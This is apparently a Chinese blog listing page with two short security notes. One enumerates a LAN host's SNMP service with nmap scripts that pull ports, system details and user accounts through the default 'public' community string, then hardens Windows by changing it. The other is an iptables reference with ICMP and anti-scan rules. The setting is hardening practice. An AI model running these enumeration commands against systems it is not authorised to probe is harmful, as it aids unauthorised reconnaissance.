简介SNMP(Simple Network Management Protocol),即简单网络管理协议,是一种用于网络设备管理的应用层协议。它允许网络管理员监视、配置和控制网络中的设备,以确保网络的正常运行和性能优化。nmap -p161 -sU 192.168.1.6扫描下 snmp 这个服务,发现是打开的。nmap -sU -p161 --script=snmp-netstat 192.168.1.6 //获取网络端口状态 nmap -sU -p161 --script=snmp-sysdescr 192.168.1.6 //获取系统信息 nmap -sU -p161 --script=snmp-win32-user 192.168.1.6 //获取用户信息输入 netstat 来获取网络端口,发现存在弱口令问题。Windows 加固进入到服务里找到 "SNMP Service",进行更改社区名称默认 "public" 改的复杂点就行。修改后就生效了,扫描发现已经没有了,不放心可以重启下服务。nmap -sU -p161 -script=snmp-netstat 192.168.1.6
2022年10月17日
14 阅读
0 评论
3 点赞
2022-10-17
【每日随记】iptables 防火墙规则
简介iptables主要功能是实现对网络数据包进出设备及转发的控制。当数据包需要进入设备、从设备中流出或者经该设备转发、路由时,都可以使用iptables进行控制。应用软件处理逻辑运行于通用硬件平台之上的防火墙,性能比硬件防火墙低。详解Kali有三个处理动作(INPUT、OUTPUT、FORWARD)。INPUT 数据包进入FORWARD 转发关卡OUTPUT 数据包出口参数L, --list [chain]:列出规则;-v, --verbose:详细信息;-vv, -vvv 更加详细的信息-n, --numeric:数字格式显示主机地址和端口号;-x, --exact:显示计数器的精确值;--line-numbers:列出规则时,显示其在链上的相应的编号;-S, --list-rules [chain]:显示指定链的所有规则;-N, --new-chain chain:新建一个自定义的规则链;-X, --delete-chain [chain]:删除用户自定义的引用计数为0的空链;-F, --flush [chain]:清空指定的规则链上的规则;-E, --rename-chain old-chain new-chain:重命名链;-Z, --zero [chain [rulenum]]:置零计数器;-P, --policy chain target, 设置链路的默认策略-A, --append chain rule-specification:追加新规则于指定链的尾部;-I, --insert chain [rulenum] rule-specification:插入新规则于指定链的指定位置,默认为首部;-R, --replace chain rulenum rule-specification:替换指定的规则为新的规则;-D, --delete chain rulenum:根据规则编号删除规则;// 查看启动状态 service iptables status // 停止iptables service iptables stop // 重启iptables(重启其实就是先stop再start) service iptables restart // 重载就是重新加载配置的规则,在这里貌似跟重启一样 service iptables reload// 直接拒绝icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT // 直接丢弃 icmp 的请求包 iptables -A INPUT -p icmp --icmp-type echo-request -j DROP // 禁止主机的ping功能 iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP // 防止nmap端口扫描 iptables -t filter -I INPUT -s 192.168.112.130 -p tcp -m tcp --dport 22 --tcp-flags ALL SYN -j REJECT // 删除iptables中的记录 iptables -t filter -D INPUT 0保存规则自启动iptables-save > /etc/iptables/rules.v4sudo apt-get update sudo apt-get install iptables-persistent // 安装默认 yes 即可 sudo netfilter-persistent save // 如有新增加规则,执行保存系统启动时自动应用规则,安装 iptables-persistent。
2022年10月17日
87 阅读
0 评论
2 点赞
1
...
5
6
7
...
14
0:00